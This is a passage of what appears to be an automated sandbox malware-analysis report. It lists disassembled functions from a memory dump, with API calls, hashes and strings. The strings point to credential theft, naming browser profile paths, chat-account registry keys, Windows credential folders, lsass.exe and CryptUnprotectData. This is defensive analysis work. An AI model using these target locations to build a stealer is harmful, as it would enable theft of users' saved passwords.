Instruction Fuzzy Hash: 7A313271D05118ABDB10EBA5DC85BDDBBB89F01319F1044BBE514F2181DB38AB89CB59

Function 004043E4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00404406
GetSystemDirectoryA.KERNEL32(0041E568,00000104), ref: 0040442B
_mbscpy.MSVCRT ref: 0040443E
memcpy.MSVCRT ref: 004044BD

Strings

hA, xrefs: 00404422
lsass.exe, xrefs: 00404480, 00404483

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: DirectorySystem_mbscpymemcpymemset
String ID: hA$lsass.exe
API String ID: 3651535325-1783533361
Opcode ID: 6d5ed3b0d0452b9c5b04e8167ed8392422c7da7f8cf5eefbc91479cdc521e7d4
Instruction ID: 0e5f66d5a96f37e034b058b5e8cd5d15c838e509caf2427c45d960fa31638fa3
Opcode Fuzzy Hash: 6d5ed3b0d0452b9c5b04e8167ed8392422c7da7f8cf5eefbc91479cdc521e7d4
Instruction Fuzzy Hash: 23213671C04298B9EB10DBB9EC057CEBF789B04308F0484BAD644A7191C7B98B88C7A9

Function 0040FC4F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040FC6B
memset.MSVCRT ref: 0040FC82

Part of subcall function 0040680E: strlen.MSVCRT ref: 0040680F
Part of subcall function 0040680E: _mbscat.MSVCRT ref: 00406826

_mbscat.MSVCRT ref: 0040FCAD

Part of subcall function 0041223F: memset.MSVCRT ref: 00412297
Part of subcall function 0041223F: RegCloseKey.ADVAPI32(00000104,?,?,?,?,00000000,00000104), ref: 004122FE
Part of subcall function 0041223F: _mbscpy.MSVCRT ref: 0041230C

_mbscat.MSVCRT ref: 0040FCD5

Strings

Mozilla\Profiles, xrefs: 0040FCA7
Mozilla\Firefox\Profiles, xrefs: 0040FCCF

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscatmemset$Close_mbscpystrlen
String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
API String ID: 3071782539-1174173950
Opcode ID: 6232208ba1a874a6dfbacdaeb12f5c4e8ca617f07066d97f4b76881872564654
Instruction ID: 7f5679cf0a8b8ad9b854585c07a42444415b2697a37b1dd070144bca98095891
Opcode Fuzzy Hash: 6232208ba1a874a6dfbacdaeb12f5c4e8ca617f07066d97f4b76881872564654
Instruction Fuzzy Hash: 67010CB3D4021C76DB2176655C86FCF7A2C5F60308F0408A6F548B7142D9BC9ED846A9

Function 004085B9 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

Part of subcall function 0040733E: ??3@YAXPAX@Z.MSVCRT ref: 00407341
Part of subcall function 0040733E: ??3@YAXPAX@Z.MSVCRT ref: 00407349

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000800), ref: 00408661
_wcslwr.MSVCRT ref: 0040866E
wcslen.MSVCRT ref: 0040868B

Strings

/, xrefs: 00408697
/, xrefs: 004086A2

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide_wcslwrwcslen
String ID: /$/
API String ID: 2365529402-2523464752
Opcode ID: 09d1f8ade8d8357b66a16f8ed5e5d5d855b631777035325b7e6ae659001fd0a0
Instruction ID: 2a8444091b22e9eb4757945b889b84cf8c338ceadb4b858a9340bcb8d8787785
Opcode Fuzzy Hash: 09d1f8ade8d8357b66a16f8ed5e5d5d855b631777035325b7e6ae659001fd0a0
Instruction Fuzzy Hash: 5131A271500109EBDB11EF95CD819EEB3A8BF04345F10857EF585B3280DB78AE858BA8

Function 00407F7E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00407C79: memset.MSVCRT ref: 00407CDB
Part of subcall function 00407C79: memset.MSVCRT ref: 00407CEF
Part of subcall function 00407C79: memset.MSVCRT ref: 00407D09
Part of subcall function 00407C79: memset.MSVCRT ref: 00407D1E
Part of subcall function 00407C79: GetComputerNameA.KERNEL32(?,?), ref: 00407D40
Part of subcall function 00407C79: GetUserNameA.ADVAPI32(?,?), ref: 00407D54
Part of subcall function 00407C79: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 00407D73
Part of subcall function 00407C79: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 00407D88
Part of subcall function 00407C79: strlen.MSVCRT ref: 00407D91
Part of subcall function 00407C79: strlen.MSVCRT ref: 00407DA0
Part of subcall function 00407C79: memcpy.MSVCRT ref: 00407DB2

Part of subcall function 00411D68: RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

memset.MSVCRT ref: 00407FCC

Part of subcall function 00411DEE: RegEnumKeyExA.ADVAPI32(?,000000FF,000000FF,?,00000000,00000000,00000000,000000FF,000000FF), ref: 00411E11

memset.MSVCRT ref: 00408019
RegCloseKey.ADVAPI32(000000FF,?,?,?,?,?,?,?,?,?,?,00000000,000000FF), ref: 00408050
RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,000000FF), ref: 00408075

Strings

Software\Google\Google Talk\Accounts, xrefs: 00407F99

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$ByteCharCloseMultiNameWidestrlen$ComputerEnumOpenUsermemcpy
String ID: Software\Google\Google Talk\Accounts
API String ID: 2959138223-1079885057
Opcode ID: 29dbe836aef6fa5013a9611a43396d8c0875219e8056679997d98ea8c5a25880
Instruction ID: d1f993f4292481421df56ff24d775a8bf39926e587c7cc16b4fa812e835a0406
Opcode Fuzzy Hash: 29dbe836aef6fa5013a9611a43396d8c0875219e8056679997d98ea8c5a25880
Instruction Fuzzy Hash: CC2131B1D0511DBADF21AB95DD42EEEBB7CAF04744F0000B6FA08B1151E7355B94CBA5

Function 0041223F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00412192: LoadLibraryA.KERNEL32(shell32.dll,00412251,00000000,00000104), ref: 004121A0
Part of subcall function 00412192: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathA), ref: 004121B5

memset.MSVCRT ref: 00412297
RegCloseKey.ADVAPI32(00000104,?,?,?,?,00000000,00000104), ref: 004122FE
_mbscpy.MSVCRT ref: 0041230C

Part of subcall function 00406B06: GetVersionExA.KERNEL32(0041E160,?,00406B2F,0040261A), ref: 00406B20

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 004122B2, 004122C2

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressCloseLibraryLoadProcVersion_mbscpymemset
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 889583718-2036018995
Opcode ID: 92230320118305b7d937a1f0dac2dfc09aaee06fc800f8ac7fa9974061941b41
Instruction ID: 8ee396e5f1da91aaa9319efae8cdfa2544b6f7efa6ef91eb3d4b19fa56f42788
Opcode Fuzzy Hash: 92230320118305b7d937a1f0dac2dfc09aaee06fc800f8ac7fa9974061941b41
Instruction Fuzzy Hash: 7011DB71800215BBDB24A6985D4A9EE77BCDB05304F1000EBED51F2152D6B89EE4C69E

Function 00411560 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004115A1
K32EnumProcesses.KERNEL32(?,00004000,004044A3,?,004044A3,?,00000000,00000000,00000000), ref: 004115B9

Part of subcall function 004112D9: OpenProcess.KERNEL32(00000410,00000000,?,?,00000000,?,?,?), ref: 004112FF
Part of subcall function 004112D9: K32EnumProcessModules.KERNEL32(00000000,?,00000004,?,?,?,?), ref: 00411316
Part of subcall function 004112D9: K32GetModuleFileNameExA.KERNEL32(00000000,?,?,00000104,?,?,?), ref: 0041132A
Part of subcall function 004112D9: FindCloseChangeNotification.KERNELBASE(00000000,?,?,?), ref: 00411336

Part of subcall function 00411172: _mbscpy.MSVCRT ref: 00411198

Part of subcall function 0041172B: memcpy.MSVCRT ref: 00411758

_mbscpy.MSVCRT ref: 0041165E
CloseHandle.KERNEL32(00000000,004044A3,?), ref: 00411697

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CloseEnumProcess_mbscpy$ChangeFileFindHandleModuleModulesNameNotificationOpenProcessesmemcpymemset
String ID:
API String ID: 3551507631-0
Opcode ID: 9809a1a83cd82cc29b60a12147b0f8e2d32acd45d844ff989c572edc4e4952da
Instruction ID: 5e40a2ef1ff72a785ccc601064cd9551f1045985186162b7752f8c4c90acf24d
Opcode Fuzzy Hash: 9809a1a83cd82cc29b60a12147b0f8e2d32acd45d844ff989c572edc4e4952da
Instruction Fuzzy Hash: 72317271901129ABDB20EB65DC85BEE77BCEB44344F0440ABE709E2160D7759EC5CA68

Function 00411C8F Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411CB8

Part of subcall function 00406F2D: sprintf.MSVCRT ref: 00406F65
Part of subcall function 00406F2D: memcpy.MSVCRT ref: 00406F78

WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00411CDC
memset.MSVCRT ref: 00411CF4
GetPrivateProfileStringA.KERNEL32(?,?,00417C88,?,00002000,?), ref: 00411D12

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: PrivateProfileStringmemset$Writememcpysprintf
String ID:
API String ID: 3143880245-0
Opcode ID: a1c05242f935a5891b0258ea82ebdb7f25e17ebbf36daa8a397953fffb7df0c4
Instruction ID: 17bc1180ef60d6c0bde436c598d7e35c316bda315ace93708f1b6f060f7ed051
Opcode Fuzzy Hash: a1c05242f935a5891b0258ea82ebdb7f25e17ebbf36daa8a397953fffb7df0c4
Instruction Fuzzy Hash: 0611A771500219BFDF115F64EC8AEDB3F78EF04754F100066FA09A2151E6358964CBA8

Function 00404220 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 004067BA: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00404233,?), ref: 004067CC

GetFileSize.KERNEL32(00000000,00000000), ref: 00404241
??2@YAPAXI@Z.MSVCRT ref: 00404257

Part of subcall function 00406ED6: ReadFile.KERNELBASE(?,?,?,00000000,00000000,00000001,?,00404269,00000000,00000000,00000000), ref: 00406EED

??3@YAXPAX@Z.MSVCRT ref: 00404291
CloseHandle.KERNEL32(?), ref: 0040429A

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: File$??2@??3@CloseCreateHandleReadSize
String ID:
API String ID: 1968906679-0
Opcode ID: a2088bb8b873d4b09a99b72ff45e45ed8d7905610cb4390c4bc1171379a6186b
Instruction ID: a1f592bc07a1c6bae19e5ae82b96cf667b255c71c14e9b40cb31a6e8a4c88875
Opcode Fuzzy Hash: a2088bb8b873d4b09a99b72ff45e45ed8d7905610cb4390c4bc1171379a6186b
Instruction Fuzzy Hash: F801A1B2501118BBD710AA65EC45EDF776CEB853B4F10823EFD15E62D0EB389E0086A8

Function 004112D9 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?,?,00000000,?,?,?), ref: 004112FF
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?,?,?,?), ref: 00411316
K32GetModuleFileNameExA.KERNEL32(00000000,?,?,00000104,?,?,?), ref: 0041132A
FindCloseChangeNotification.KERNELBASE(00000000,?,?,?), ref: 00411336

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Process$ChangeCloseEnumFileFindModuleModulesNameNotificationOpen
String ID:
API String ID: 1149579341-0
Opcode ID: 403ab780173edf7ca256d8a46e4ae22afbf76247b98eaff03a4cae4f07767835
Instruction ID: d3b8bc427d879abbe067d139e4d8751d61c0b56586969d320d8ec49f77c75a5b
Opcode Fuzzy Hash: 403ab780173edf7ca256d8a46e4ae22afbf76247b98eaff03a4cae4f07767835
Instruction Fuzzy Hash: 0A01DF36200109BFFB105FA29D84AEBBBACEB44784B04003AFF12D05A0D779DC81822D

Function 004140F2 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 004140FC
??3@YAXPAX@Z.MSVCRT ref: 0041410C
??3@YAXPAX@Z.MSVCRT ref: 0041411C
??3@YAXPAX@Z.MSVCRT ref: 0041412C

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 2878877b4fb96dd6387d393cb3696d7bef76af751c319c337b16d2b81faded20
Instruction ID: 5397eece0a1688dd905253f83ef07836dc4e260be7ec153caf65aeba5f13d1a3
Opcode Fuzzy Hash: 2878877b4fb96dd6387d393cb3696d7bef76af751c319c337b16d2b81faded20
Instruction Fuzzy Hash: 82E04674308210269A24AF3BFE49AC723AC5B54725794852FF808D33A2CE2CCCC0802C

Function 0040D935 Relevance: 4.5, APIs: 3, Instructions: 46COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D959
GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0040D969
GetVolumeInformationA.KERNELBASE(?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0040D989

Part of subcall function 0040D794: memset.MSVCRT ref: 0040D7DC
Part of subcall function 0040D794: RegCloseKey.ADVAPI32(00000008), ref: 0040D925

Part of subcall function 0040D794: RegQueryValueExA.ADVAPI32(?,MainLocation,00000000,?,?,?), ref: 0040D82B
Part of subcall function 0040D794: atoi.MSVCRT ref: 0040D840
Part of subcall function 0040D794: memset.MSVCRT ref: 0040D869
Part of subcall function 0040D794: _mbscpy.MSVCRT ref: 0040D8B3
Part of subcall function 0040D794: _mbscpy.MSVCRT ref: 0040D8C6
Part of subcall function 0040D794: RegCloseKey.ADVAPI32(?), ref: 0040D8FC

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$Close_mbscpy$DirectoryInformationQueryValueVolumeWindowsatoi
String ID:
API String ID: 2578913611-0
Opcode ID: 5ad718d0a178176aa5508ab2a21a3f8c1d31e3488d15dce6a5d9606b6b3f0dca
Instruction ID: 16f147aac1a6c23bf629e3733d081773eeb3eb261c5fc0fbd4ac26dcbb8d373b
Opcode Fuzzy Hash: 5ad718d0a178176aa5508ab2a21a3f8c1d31e3488d15dce6a5d9606b6b3f0dca
Instruction Fuzzy Hash: BB01ECB2C0011CFFDB11DAD4DD85EDEBBACAB08348F1444BAB609E2051D6744F989BA4

Function 00410383 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00406B06: GetVersionExA.KERNEL32(0041E160,?,00406B2F,0040261A), ref: 00406B20

_mbscpy.MSVCRT ref: 004103C3

Strings

CryptUnprotectData, xrefs: 004103BD

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Version_mbscpy
String ID: CryptUnprotectData
API String ID: 1856898028-1975210251
Opcode ID: b937d2dc300c7c2f46df72a81b3b85809e99c29df1e88dcb10a6db808fd69e02
Instruction ID: 124ef79401bdf720cf005998ce1259a6424ffa61298b62e05562ee11dac58942
Opcode Fuzzy Hash: b937d2dc300c7c2f46df72a81b3b85809e99c29df1e88dcb10a6db808fd69e02
Instruction Fuzzy Hash: D0F0A471A0030C9BCF04EBA9D589ADEBBB85F08318F11802FE910B6181D7B8D4C4CB2E

Function 0040C5A4 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

_strcmpi.MSVCRT ref: 0040C5E6

Strings

/stext, xrefs: 0040C5E1

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _strcmpi
String ID: /stext
API String ID: 1439213657-3817206916
Opcode ID: 8485200a8f39a627e5aa607aa4fe0e6a3330f2b4b352017cc2d2cebf071a6028
Instruction ID: 4d1f9c46abbdb5e83ce0205fdf3861872a59254e2367a1e2376026c6f9217911
Opcode Fuzzy Hash: 8485200a8f39a627e5aa607aa4fe0e6a3330f2b4b352017cc2d2cebf071a6028
Instruction Fuzzy Hash: D721A130614211EFC36C9F2988C1966B3A9BF05314B1556BFB40AA7382DB79EC519BC8

Function 004042AA Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0040783B: strlen.MSVCRT ref: 00407862
Part of subcall function 0040783B: strlen.MSVCRT ref: 0040786F

Part of subcall function 00407898: FindFirstFileA.KERNELBASE(00000103,00000247,?,?,004042EE,?), ref: 004078AE
Part of subcall function 00407898: strlen.MSVCRT ref: 004078FC
Part of subcall function 00407898: strlen.MSVCRT ref: 00407904

_strnicmp.MSVCRT ref: 0040431A

Strings

credentials, xrefs: 00404314

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$FileFindFirst_strnicmp
String ID: credentials
API String ID: 773473087-4194641934
Opcode ID: 5f078394bf2af8fae6ee7cd525e99526c652b3bab6a7d26c0a39e7232aba890c
Instruction ID: 0f17e4e4efe03dbe37520bfce116898ea2601fe450b4b80a5694618c7f7ee9f5
Opcode Fuzzy Hash: 5f078394bf2af8fae6ee7cd525e99526c652b3bab6a7d26c0a39e7232aba890c
Instruction Fuzzy Hash: 4E21D872A0421C56DB60F6668C417DB77A85F81349F4460FBAE18F21C2EA78DF84CF55

Function 0040E675 Relevance: 3.0, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040E695

Part of subcall function 0040F9A0: CompareFileTime.KERNEL32(?,?,00000000,?,?,00000000), ref: 0040F9F1

strrchr.MSVCRT ref: 0040E6B1

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CompareFileTimememsetstrrchr
String ID:
API String ID: 4226234548-0
Opcode ID: 2a82436f4faa6b05b2cc636fc97259d9a3810c45e056b17ce4a1fb11b0906514
Instruction ID: 53b6c61b59caaa2062b149ee1151cefa66ffad82665aa7653a439d89524e8348
Opcode Fuzzy Hash: 2a82436f4faa6b05b2cc636fc97259d9a3810c45e056b17ce4a1fb11b0906514
Instruction Fuzzy Hash: F611BAB1C0522C9EDB21EF5A9C85AC9BBB8BB09304F9040FF9248F2241D7785B94CF95

Function 00404380 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004043A1

Part of subcall function 0040680E: strlen.MSVCRT ref: 0040680F
Part of subcall function 0040680E: _mbscat.MSVCRT ref: 00406826

Part of subcall function 00406EFE: strlen.MSVCRT ref: 00406F00
Part of subcall function 00406EFE: strlen.MSVCRT ref: 00406F0B
Part of subcall function 00406EFE: _mbscat.MSVCRT ref: 00406F22

Part of subcall function 004042AA: _strnicmp.MSVCRT ref: 0040431A

Strings

Microsoft\Credentials, xrefs: 004043C2

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscat$_strnicmpmemset
String ID: Microsoft\Credentials
API String ID: 137454763-3148402405
Opcode ID: b9bc567b91fdf7fc349dfc15b94f9d4a96cdfacf2bcfcbc0785656f82b29690e
Instruction ID: 677ab761eff5409f3287a779563a9fbc28491fd5395d1aa5cc811df03cb69dee
Opcode Fuzzy Hash: b9bc567b91fdf7fc349dfc15b94f9d4a96cdfacf2bcfcbc0785656f82b29690e
Instruction Fuzzy Hash: 8CF0E97260411427D660B66AEC06FCF775C8F90754F00006AF988F71C1D9F8AA95C3E5

Function 00411EC1 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00411EDB
GetPrivateProfileStringA.KERNEL32(?,?,?,?,?,?), ref: 00411EF0

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: PrivateProfileString$Write
String ID:
API String ID: 2948465352-0
Opcode ID: abc632a6b8702d949c7b4aeb5ee99501477ff23bfd6640d1747d5c6edfc6b77e
Instruction ID: d9e70508a7a1dcd4d44e453fce3bd4c14a214bdae5f42dce9164bd63fbf12eb7
Opcode Fuzzy Hash: abc632a6b8702d949c7b4aeb5ee99501477ff23bfd6640d1747d5c6edfc6b77e
Instruction Fuzzy Hash: A7E0E53600020DFBCF018FE0DC44EEA3F79EB48344F04C425BA0989021C776C6A6EBA4

Function 00406D2B Relevance: 3.0, APIs: 2, Instructions: 21timeCOMMON

Download Yara Rule

APIs

Part of subcall function 004067BA: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00404233,?), ref: 004067CC

GetFileTime.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0040F9E7,00000000,?,00000000,?,?,00000000), ref: 00406D46
FindCloseChangeNotification.KERNELBASE(00000000,?,?,00000000), ref: 00406D4F

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: File$ChangeCloseCreateFindNotificationTime
String ID:
API String ID: 1631957507-0
Opcode ID: 7bff6bc8731922aebfa0769e74e5599f4fdc97828f53a7f2077a8613dbe9e9dd
Instruction ID: ee1f68b728ceb5a298c60dc052c4b3ed262b371f399a07f2899d8fe9e4a13fdd
Opcode Fuzzy Hash: 7bff6bc8731922aebfa0769e74e5599f4fdc97828f53a7f2077a8613dbe9e9dd
Instruction Fuzzy Hash: C7D0123660116067872137676C0CDDF6E6ADECA326706843AF15593110D634481686A5

Function 0040F9A0 Relevance: 1.6, APIs: 1, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040FA34: memset.MSVCRT ref: 0040FA77
Part of subcall function 0040FA34: strlen.MSVCRT ref: 0040FA8E
Part of subcall function 0040FA34: strlen.MSVCRT ref: 0040FA97
Part of subcall function 0040FA34: strlen.MSVCRT ref: 0040FAF0
Part of subcall function 0040FA34: strlen.MSVCRT ref: 0040FAFE

Part of subcall function 00406D2B: GetFileTime.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0040F9E7,00000000,?,00000000,?,?,00000000), ref: 00406D46
Part of subcall function 00406D2B: FindCloseChangeNotification.KERNELBASE(00000000,?,?,00000000), ref: 00406D4F

CompareFileTime.KERNEL32(?,?,00000000,?,?,00000000), ref: 0040F9F1

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$FileTime$ChangeCloseCompareFindNotificationmemset
String ID:
API String ID: 3386971655-0
Opcode ID: f102af4ea2b32b0dd4e7b33198291439d6dd7ffc9cc7ac928c90ed2ef3e39010
Instruction ID: df050e5846938951bd5ef1dd521a076978c5ac7e099cd3a6f0bbe67f44093ab2
Opcode Fuzzy Hash: f102af4ea2b32b0dd4e7b33198291439d6dd7ffc9cc7ac928c90ed2ef3e39010
Instruction Fuzzy Hash: 5C114FB2E00109ABDB15EFE9D9415EEBBB9AF44304F20407BE906F3281D6389E45CB65

Function 00411D37 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntA.KERNEL32(?,?,?,?), ref: 00411D5E

Part of subcall function 00411C43: memset.MSVCRT ref: 00411C61
Part of subcall function 00411C43: _itoa.MSVCRT ref: 00411C78
Part of subcall function 00411C43: WritePrivateProfileStringA.KERNEL32(?,?,00000000), ref: 00411C87

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: PrivateProfile$StringWrite_itoamemset
String ID:
API String ID: 4165544737-0
Opcode ID: 64c123335bceee9c141adbd0577c67007e2c975ffdfd429c4cd850d6effa1a87
Instruction ID: 191c8e33efa92f5acf0b5800ded4dbdf6d41edfd47def5b2a3195e96d71d9d98
Opcode Fuzzy Hash: 64c123335bceee9c141adbd0577c67007e2c975ffdfd429c4cd850d6effa1a87
Instruction Fuzzy Hash: 28E0B632004609EBCF125F90EC05AE93F76FF44315F548459FA5C04530D33295B0AF84

Function 00406ED6 Relevance: 1.5, APIs: 1, Instructions: 17fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000,00000001,?,00404269,00000000,00000000,00000000), ref: 00406EED

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a90c0f663160ddd1806211c67689bb6444212dacbbb8cc2b1f9417cee627f633
Instruction ID: aa4cf13b5f890a7c287dc17e2503e7ef9553656c8147c817b9e920ceb3cbd6db
Opcode Fuzzy Hash: a90c0f663160ddd1806211c67689bb6444212dacbbb8cc2b1f9417cee627f633
Instruction Fuzzy Hash: 21E0173691020CFBDF12CF80CC05FEEBBB9EB04B04F204068B901A62A0C7759E10EB98

Function 004067D3 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000,0040A792,00000000), ref: 004067E5

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 96ee2d3e2a5f08fb7e0664ffc2d87f5ef5a690df2876f5604083955e74d05a1c
Instruction ID: 92edde76bd8748fbe9720986c638c7b7c767b624a816766c44db5ce3c9f9c76e
Opcode Fuzzy Hash: 96ee2d3e2a5f08fb7e0664ffc2d87f5ef5a690df2876f5604083955e74d05a1c
Instruction Fuzzy Hash: 18C012F0790300BEFF214B10AE0EFB7355DD7C0700F1084207E40E80E0C2E14C008524

Function 004067BA Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00404233,?), ref: 004067CC

Memory Dump Source

